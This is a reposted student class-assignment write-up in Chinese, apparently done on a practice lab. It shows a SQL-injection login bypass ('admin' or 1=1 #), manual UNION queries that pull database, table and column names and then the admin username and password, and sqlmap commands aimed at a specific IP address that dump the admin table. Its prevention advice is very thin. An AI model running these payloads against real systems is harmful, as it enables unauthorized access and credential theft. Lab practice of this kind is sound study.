信息安全概论课堂作业

SQL注入之万能密码漏洞

第一道题是牵扯到了万能密码漏洞

用户名先输入个’

返回了sql报错语句,猜测存在sql注入漏洞

使用万能密码测试

登陆成功

原理

假设登录框处的判断代码如下:

1
SELECT * FROM admin where name='".$_POST['name']."'and password='".$_POST['password']"';

在账号框中输入admin'or 1=1 #,密码随便输,sql语句就变成了:

1
SELECT * FROM admin where name='admin' or 1=1 #'and password='任意字符';

符号’将语句闭合

#号将admin' or 1=1后面的语句注释

剩下有效的sql代码变成了

1
SELECT * FROM admin where name='admin' or 1=1;

这段代码意思就是 ‘admin’ or 1=1 (真 or 真)是一个恒为真的判断

服务器收到了返回真的验证,就绕过了登录

防止方法

1.字符转义

2.字符替换

3.百度如何预防SQL注入

SQL注入之字符型注入

利用手动注入

打开网站看到网址有个id参数

判断注入类型

输入id=1 and 1=1# 页面正常

输入id=1 and 1=2# 页面出现异常

猜测为数字注入

判断字段数

输入id=1 order by 2# 页面正常

输入id=1 order by 3# 页出出现异常

得知有两个字段

判断字段回显位置

输入

1
id=1 and 1=2 union select 1,2#

查看字段位置

查看数据库名

输入

1
id=6666 union select 1,database()#

出现数据库名字:maoshe

查看表名

输入

1
id=id=6666 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

出现了很多表名

查看字段名

我们需要的是admin表

输入

1
id=6666 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#

看到了字段名id、username、password

查看字段里的数据

输入

1
id=6666 union select 1,group_concat(id,":",username,":",password) from admin#

看到了管理员用户名和密码

利用sqlmap工具注入

检查注入点:

1
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs

爆数据库的信息:

1
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs

爆当前数据库信息:

1
2
3
4
5
6
7
8
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --current-db
```
![你想输入的替代文字](信息安全概论课堂作业/4.png) ### 指定库名列出所有表 ```php
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' -D maoshe --table

指定库名表名列出所有字段

1
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1'  -D maoshe -T admin --column

指定库名表名字段dump出指定字段

python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1'  -D maoshe -T admin -C username password --dump

内容来自于

http://reb0rn.design/2019/10/13/信息安全概论课堂作业/

最新文章

  1. ecshop中foreach的详细用法归纳
  2. GitHub 上一份很受欢迎的前端代码优化指南
  3. Chrome扩展程序的二次开发:把它改得更适合自己使用
  4. 为什么数值类型byte取值范围是(-128~127)?
  5. boot/head.S
  6. 关于cookie
  7. 网站优化与Cdn文件传输服务
  8. GUI(国际象棋棋盘)
  9. asyncio 基础用法
  10. CentOS:xmr-stak-cpu安装,服务器CPU挖Monero门罗币
  11. NuGet的简单使用
  12. 遍历tr通过name获取对应值用作判断或者赋值
  13. Unity实现用户条款弹窗及登录
  14. git push后出错
  15. Nexus 3 搭建 npm 私服 (windows)
  16. Fundebug累计处理1000万条错误事件!
  17. selenium-server-standalone 和selenium-server, selenium-java的区别
  18. Tensorflow timeline trace
  19. 九. Python基础(9)--命名空间, 作用域
  20. .NET4.0中使用4.5中的 async/await 功能实现异步

热门文章

  1. C++-POJ3070-Fibonacci-[矩阵乘法][快速幂]
  2. 微信小程序scroll-view去除滚动条
  3. 彻底禁用Chrome插件停用开发者模式提示插件version.dll
  4. Node.js、npm和webpack的安装
  5. 关于EasyUI DataGrid行编辑时嵌入时间控件
  6. Java生鲜电商平台-生鲜电商订单结算系统的深入解析与反思总结
  7. matlab 霍夫变换—检测圆
  8. go语言 RSA数字签名和验证签名
  9. No serializer found for class org.hibernate.proxy.pojo.bytebuddy.ByteBuddyInterceptor
  10. HDU1024 Max Sum Plus Plus(dp)